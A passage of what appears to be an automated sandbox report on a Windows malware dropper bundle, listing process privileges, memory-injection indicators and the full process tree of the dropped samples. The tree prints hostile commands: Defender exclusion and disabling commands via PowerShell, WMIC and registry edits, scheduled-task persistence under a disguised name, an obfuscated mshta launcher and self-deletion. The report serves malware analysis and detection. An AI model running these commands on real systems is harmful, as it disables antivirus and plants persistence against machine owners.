Token: SeSystemEnvironmentPrivilege	5372	Fri15517df7a88264b6.exe
Token: SeChangeNotifyPrivilege	5372	Fri15517df7a88264b6.exe
Token: SeRemoteShutdownPrivilege	5372	Fri15517df7a88264b6.exe
Token: SeUndockPrivilege	5372	Fri15517df7a88264b6.exe
Token: SeSyncAgentPrivilege	5372	Fri15517df7a88264b6.exe
Token: SeEnableDelegationPrivilege	5372	Fri15517df7a88264b6.exe
Token: SeManageVolumePrivilege	5372	Fri15517df7a88264b6.exe
Token: SeImpersonatePrivilege	5372	Fri15517df7a88264b6.exe
Token: SeCreateGlobalPrivilege	5372	Fri15517df7a88264b6.exe
Token: 31	5372	Fri15517df7a88264b6.exe
Token: 32	5372	Fri15517df7a88264b6.exe
Token: 33	5372	Fri15517df7a88264b6.exe
Token: 34	5372	Fri15517df7a88264b6.exe
Token: 35	5372	Fri15517df7a88264b6.exe
Token: SeDebugPrivilege	5328	Fri157e966e73fe.exe
Token: SeRestorePrivilege	5888	WerFault.exe
Token: SeBackupPrivilege	5888	WerFault.exe
Token: SeBackupPrivilege	5888	WerFault.exe
Token: SeDebugPrivilege	5152	8832905.scr
Token: SeDebugPrivilege	5644	PublicDwlBrowser1100.exe
Token: SeDebugPrivilege	956	4.exe
Token: SeDebugPrivilege	864	Conhost.exe
Token: SeDebugPrivilege	1872	5571864.scr
Token: SeDebugPrivilege	4148	Fri158ea592d6f.exe
Token: SeDebugPrivilege	5036	732162.exe
Token: SeDebugPrivilege	2516	taskkill.exe
Token: SeDebugPrivilege	5868	Fri15c47a7c807b12d1.exe
Token: SeDebugPrivilege	2572	LivelyScreenRecorderF20.exe
Token: SeCreateTokenPrivilege	6188	WwEtIIEpfQEpN7CdumHf_wLf.exe
Token: SeAssignPrimaryTokenPrivilege	6188	WwEtIIEpfQEpN7CdumHf_wLf.exe
Token: SeLockMemoryPrivilege	6188	WwEtIIEpfQEpN7CdumHf_wLf.exe
Token: SeIncreaseQuotaPrivilege	6188	WwEtIIEpfQEpN7CdumHf_wLf.exe
Token: SeMachineAccountPrivilege	6188	WwEtIIEpfQEpN7CdumHf_wLf.exe
Token: SeTcbPrivilege	6188	WwEtIIEpfQEpN7CdumHf_wLf.exe
Token: SeSecurityPrivilege	6188	WwEtIIEpfQEpN7CdumHf_wLf.exe
Token: SeTakeOwnershipPrivilege	6188	WwEtIIEpfQEpN7CdumHf_wLf.exe
Token: SeLoadDriverPrivilege	6188	WwEtIIEpfQEpN7CdumHf_wLf.exe
Token: SeSystemProfilePrivilege	6188	WwEtIIEpfQEpN7CdumHf_wLf.exe
Token: SeSystemtimePrivilege	6188	WwEtIIEpfQEpN7CdumHf_wLf.exe
Token: SeProfSingleProcessPrivilege	6188	WwEtIIEpfQEpN7CdumHf_wLf.exe
Token: SeIncBasePriorityPrivilege	6188	WwEtIIEpfQEpN7CdumHf_wLf.exe
Token: SeCreatePagefilePrivilege	6188	WwEtIIEpfQEpN7CdumHf_wLf.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

setup_2.tmp

pid process

6088 setup_2.tmp

pid	process
6088	setup_2.tmp

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

setup_x86_x64_install.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 4944 wrote to memory of 4348	4944	setup_x86_x64_install.exe	setup_installer.exe
PID 4944 wrote to memory of 4348	4944	setup_x86_x64_install.exe	setup_installer.exe
PID 4944 wrote to memory of 4348	4944	setup_x86_x64_install.exe	setup_installer.exe
PID 4348 wrote to memory of 4248	4348	setup_installer.exe	setup_install.exe
PID 4348 wrote to memory of 4248	4348	setup_installer.exe	setup_install.exe
PID 4348 wrote to memory of 4248	4348	setup_installer.exe	setup_install.exe
PID 4248 wrote to memory of 5024	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 5024	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 5024	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 2188	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 2188	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 2188	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 4408	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 4408	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 4408	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 5032	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 5032	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 5032	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 4880	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 4880	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 4880	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 4088	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 4088	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 4088	4248	setup_install.exe	cmd.exe
PID 2188 wrote to memory of 3900	2188	cmd.exe	Fri15cf751fee90f2.exe
PID 2188 wrote to memory of 3900	2188	cmd.exe	Fri15cf751fee90f2.exe
PID 2188 wrote to memory of 3900	2188	cmd.exe	Fri15cf751fee90f2.exe
PID 4408 wrote to memory of 2124	4408	cmd.exe	Fri15364050134.exe
PID 4408 wrote to memory of 2124	4408	cmd.exe	Fri15364050134.exe
PID 4408 wrote to memory of 2124	4408	cmd.exe	Fri15364050134.exe
PID 5024 wrote to memory of 4876	5024	cmd.exe	powershell.exe
PID 5024 wrote to memory of 4876	5024	cmd.exe	powershell.exe
PID 5024 wrote to memory of 4876	5024	cmd.exe	powershell.exe
PID 4248 wrote to memory of 3212	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 3212	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 3212	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 5008	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 5008	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 5008	4248	setup_install.exe	cmd.exe
PID 5032 wrote to memory of 4564	5032	cmd.exe	Fri15d3a9f0cbde1.exe
PID 5032 wrote to memory of 4564	5032	cmd.exe	Fri15d3a9f0cbde1.exe
PID 5032 wrote to memory of 4564	5032	cmd.exe	Fri15d3a9f0cbde1.exe
PID 4248 wrote to memory of 4556	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 4556	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 4556	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 1168	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 1168	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 1168	4248	setup_install.exe	cmd.exe
PID 4880 wrote to memory of 4148	4880	cmd.exe	Fri158ea592d6f.exe
PID 4880 wrote to memory of 4148	4880	cmd.exe	Fri158ea592d6f.exe
PID 4880 wrote to memory of 4148	4880	cmd.exe	Fri158ea592d6f.exe
PID 4088 wrote to memory of 3572	4088	cmd.exe	Fri156c10dd46.exe
PID 4088 wrote to memory of 3572	4088	cmd.exe	Fri156c10dd46.exe
PID 3212 wrote to memory of 4944	3212	cmd.exe	Fri155e6d4468.exe
PID 3212 wrote to memory of 4944	3212	cmd.exe	Fri155e6d4468.exe
PID 4248 wrote to memory of 4816	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 4816	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 4816	4248	setup_install.exe	cmd.exe
PID 1168 wrote to memory of 4612	1168	cmd.exe	Fri1586c2482e5c8a45.exe
PID 1168 wrote to memory of 4612	1168	cmd.exe	Fri1586c2482e5c8a45.exe
PID 1168 wrote to memory of 4612	1168	cmd.exe	Fri1586c2482e5c8a45.exe
PID 4248 wrote to memory of 4420	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 4420	4248	setup_install.exe	cmd.exe
PID 4248 wrote to memory of 4420	4248	setup_install.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4944

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4348

C:\Users\Admin\AppData\Local\Temp\7zSCF0013F0\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zSCF0013F0\setup_install.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4248

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
4⤵
- Suspicious use of WriteProcessMemory
PID:5024

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4876

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri15cf751fee90f2.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:2188

C:\Users\Admin\AppData\Local\Temp\7zSCF0013F0\Fri15cf751fee90f2.exe
Fri15cf751fee90f2.exe
5⤵
- Executes dropped EXE
PID:3900

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3900 -s 240
6⤵
- Drops file in Windows directory
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:5888

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri15364050134.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:4408

C:\Users\Admin\AppData\Local\Temp\7zSCF0013F0\Fri15364050134.exe
Fri15364050134.exe
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2124

C:\Users\Admin\Documents\xPJDZKRqe4z82TkVC71onY54.exe
"C:\Users\Admin\Documents\xPJDZKRqe4z82TkVC71onY54.exe"
6⤵
- Executes dropped EXE
PID:5136

C:\Users\Admin\Documents\bgvebWlvzr5BGGUa4jDDNVlI.exe
"C:\Users\Admin\Documents\bgvebWlvzr5BGGUa4jDDNVlI.exe"
6⤵
- Executes dropped EXE
PID:3972

C:\Users\Admin\Documents\7i8xIATOuGm4vRqnePGUymsZ.exe
"C:\Users\Admin\Documents\7i8xIATOuGm4vRqnePGUymsZ.exe"
6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6060

C:\Users\Admin\AppData\Local\Temp\fl.exe
"C:\Users\Admin\AppData\Local\Temp\fl.exe"
7⤵
PID:3868

C:\Windows\SYSTEM32\cmd.exe
"cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
8⤵
PID:4984

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
9⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5192

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
9⤵
PID:4980

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
9⤵
PID:7004

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
9⤵
PID:1224

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost32.exe "C:\Users\Admin\AppData\Local\Temp\fl.exe"
8⤵
PID:2256

C:\Users\Admin\AppData\Local\Temp\svchost32.exe
C:\Users\Admin\AppData\Local\Temp\svchost32.exe "C:\Users\Admin\AppData\Local\Temp\fl.exe"
9⤵
PID:3356

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "dascHost" /tr '"C:\Windows\system32\dascHost.exe"' & exit
10⤵
PID:3000

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "dascHost" /tr '"C:\Windows\system32\dascHost.exe"'
11⤵
- Creates scheduled task(s)
PID:444

C:\Windows\system32\dascHost.exe
"C:\Windows\system32\dascHost.exe"
10⤵
PID:5040

C:\Windows\system32\cmd.exe
"cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
11⤵
PID:7000

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
12⤵
PID:920

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
12⤵
PID:2988

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
12⤵
PID:828

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
12⤵
PID:4016

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost32.exe "C:\Windows\system32\dascHost.exe"
11⤵
PID:6592

C:\Users\Admin\AppData\Local\Temp\svchost32.exe
C:\Users\Admin\AppData\Local\Temp\svchost32.exe "C:\Windows\system32\dascHost.exe"
12⤵
PID:3780

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "dascHost" /tr '"C:\Windows\system32\dascHost.exe"' & exit
13⤵
PID:6128

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "dascHost" /tr '"C:\Windows\system32\dascHost.exe"'
14⤵
- Creates scheduled task(s)
PID:2456

C:\Windows\system32\Microsoft\Telemetry\sihost32.exe
"C:\Windows\system32\Microsoft\Telemetry\sihost32.exe"
13⤵
PID:3656

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost32.exe"
13⤵
PID:2620

C:\Windows\system32\choice.exe
choice /C Y /N /D Y /T 3
14⤵
PID:6652

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost32.exe"
10⤵
PID:5076

C:\Windows\system32\choice.exe
choice /C Y /N /D Y /T 3
11⤵
PID:6016

C:\Users\Admin\Documents\WfSSxZstHw8Prvu2Mnz_anci.exe
"C:\Users\Admin\Documents\WfSSxZstHw8Prvu2Mnz_anci.exe"
6⤵
- Executes dropped EXE
PID:4196

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 316
7⤵
- Program crash
PID:3356

C:\Users\Admin\Documents\nSZUe9megfrZsNBPeasx1lTg.exe
"C:\Users\Admin\Documents\nSZUe9megfrZsNBPeasx1lTg.exe"
6⤵
PID:5624

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:864

C:\Users\Admin\Documents\M005AArybRUMbnR16iAP1tcF.exe
"C:\Users\Admin\Documents\M005AArybRUMbnR16iAP1tcF.exe"
6⤵
PID:5192

C:\Users\Admin\Documents\OiOqa5PT_HWNQLb_bId2Eg27.exe
"C:\Users\Admin\Documents\OiOqa5PT_HWNQLb_bId2Eg27.exe"
6⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:5892

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
7⤵
- Creates scheduled task(s)
PID:4548

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
7⤵
- Creates scheduled task(s)
PID:5228

C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe
"C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"
7⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5792

C:\Users\Admin\Documents\_NrwRIJDGZdCWkHDpYAulAuW.exe
"C:\Users\Admin\Documents\_NrwRIJDGZdCWkHDpYAulAuW.exe"
8⤵
PID:2052

C:\Users\Admin\AppData\Local\Temp\tmp4FB7_tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp4FB7_tmp.exe"
9⤵
PID:6160

C:\Users\Admin\AppData\Local\Temp\tmp4FB7_tmp.exe
C:\Users\Admin\AppData\Local\Temp\tmp4FB7_tmp.exe
10⤵
PID:1740

C:\Users\Admin\Documents\zOtiKS08VLThmZc8MCkFweDO.exe
"C:\Users\Admin\Documents\zOtiKS08VLThmZc8MCkFweDO.exe"
8⤵
PID:6852

C:\Users\Admin\Documents\zOtiKS08VLThmZc8MCkFweDO.exe
"C:\Users\Admin\Documents\zOtiKS08VLThmZc8MCkFweDO.exe"
9⤵
PID:6820

C:\Users\Admin\Documents\_DmGBF7Ribs7qiVvKKtfVtnk.exe
"C:\Users\Admin\Documents\_DmGBF7Ribs7qiVvKKtfVtnk.exe" /mixtwo
8⤵
PID:2388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2388 -s 236
9⤵
- Program crash
PID:5768

C:\Users\Admin\Documents\KWcjnbUIiYJW6yrBZwYiB46F.exe
"C:\Users\Admin\Documents\KWcjnbUIiYJW6yrBZwYiB46F.exe"
8⤵
PID:7016

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBScrIPt:CLoSe (cREATEobjEcT("WscRIpt.SHEll"). RUn ( "cMD.exe /q /c CoPY /Y ""C:\Users\Admin\Documents\KWcjnbUIiYJW6yrBZwYiB46F.exe"" Y1FUY5TJK7FR.EXE && STarT Y1Fuy5TjK7FR.eXe /pPcO7dQJSv4ebP1WI9YNCeWEF27pAh & If """" =="""" for %R IN ( ""C:\Users\Admin\Documents\KWcjnbUIiYJW6yrBZwYiB46F.exe"" ) do taskkill -im ""%~nXR"" /f" ,0 , TRUE))
9⤵
PID:3284

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /q /c CoPY /Y "C:\Users\Admin\Documents\KWcjnbUIiYJW6yrBZwYiB46F.exe" Y1FUY5TJK7FR.EXE && STarT Y1Fuy5TjK7FR.eXe /pPcO7dQJSv4ebP1WI9YNCeWEF27pAh &If "" =="" for %R IN ( "C:\Users\Admin\Documents\KWcjnbUIiYJW6yrBZwYiB46F.exe" ) do taskkill -im "%~nXR" /f
10⤵
PID:6200

C:\Users\Admin\AppData\Local\Temp\Y1FUY5TJK7FR.EXE
Y1Fuy5TjK7FR.eXe /pPcO7dQJSv4ebP1WI9YNCeWEF27pAh
11⤵
PID:5304

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBScrIPt:CLoSe (cREATEobjEcT("WscRIpt.SHEll"). RUn ( "cMD.exe /q /c CoPY /Y ""C:\Users\Admin\AppData\Local\Temp\Y1FUY5TJK7FR.EXE"" Y1FUY5TJK7FR.EXE && STarT Y1Fuy5TjK7FR.eXe /pPcO7dQJSv4ebP1WI9YNCeWEF27pAh & If ""/pPcO7dQJSv4ebP1WI9YNCeWEF27pAh "" =="""" for %R IN ( ""C:\Users\Admin\AppData\Local\Temp\Y1FUY5TJK7FR.EXE"" ) do taskkill -im ""%~nXR"" /f" ,0 , TRUE))
12⤵
PID:4680

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /q /c CoPY /Y "C:\Users\Admin\AppData\Local\Temp\Y1FUY5TJK7FR.EXE" Y1FUY5TJK7FR.EXE && STarT Y1Fuy5TjK7FR.eXe /pPcO7dQJSv4ebP1WI9YNCeWEF27pAh &If "/pPcO7dQJSv4ebP1WI9YNCeWEF27pAh " =="" for %R IN ( "C:\Users\Admin\AppData\Local\Temp\Y1FUY5TJK7FR.EXE" ) do taskkill -im "%~nXR" /f
13⤵
PID:5356

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" Z~DYVRL.v,IzgdZv
12⤵
PID:6780

C:\Windows\SysWOW64\taskkill.exe
taskkill -im "KWcjnbUIiYJW6yrBZwYiB46F.exe" /f
11⤵
- Kills process with taskkill
PID:6712

C:\Users\Admin\Documents\nY3IiuSbuJ6bbh1KPGJh34_p.exe
"C:\Users\Admin\Documents\nY3IiuSbuJ6bbh1KPGJh34_p.exe"
8⤵
PID:4236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4236 -s 296
9⤵
- Program crash
PID:6124

C:\Users\Admin\Documents\aJuD1u5lABPJGF6Wlk2qOrIW.exe
"C:\Users\Admin\Documents\aJuD1u5lABPJGF6Wlk2qOrIW.exe"
8⤵
PID:1068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1068 -s 1728
9⤵
- Program crash
PID:1956

C:\Users\Admin\Documents\X5uSOYPjJ0vgM1rmnhQ_Z0xw.exe
"C:\Users\Admin\Documents\X5uSOYPjJ0vgM1rmnhQ_Z0xw.exe"
8⤵
PID:1916

C:\Users\Admin\AppData\Local\Temp\7zS2A7C.tmp\Install.exe
.\Install.exe
9⤵
PID:5940

C:\Users\Admin\AppData\Local\Temp\7zS518C.tmp\Install.exe
.\Install.exe /S /site_id "668658"
10⤵
PID:7092

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
11⤵
PID:4896

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
12⤵
PID:1380

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
13⤵
- Executes dropped EXE
PID:1652

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
12⤵
PID:6876

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
13⤵
PID:2280

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
14⤵
PID:4236

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
15⤵
PID:6304

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"
12⤵
PID:6308

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
13⤵
PID:6532

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
14⤵
PID:656

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
15⤵
PID:2416

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"
12⤵
PID:2040

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
13⤵
- Executes dropped EXE
PID:5128

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
14⤵
PID:4720

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
15⤵
PID:6444

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
11⤵
PID:2468

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
12⤵
PID:3676

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
13⤵
PID:1020

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
13⤵
PID:6996

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
11⤵
PID:1236

C:\Windows\SysWOW64\cmd.exe
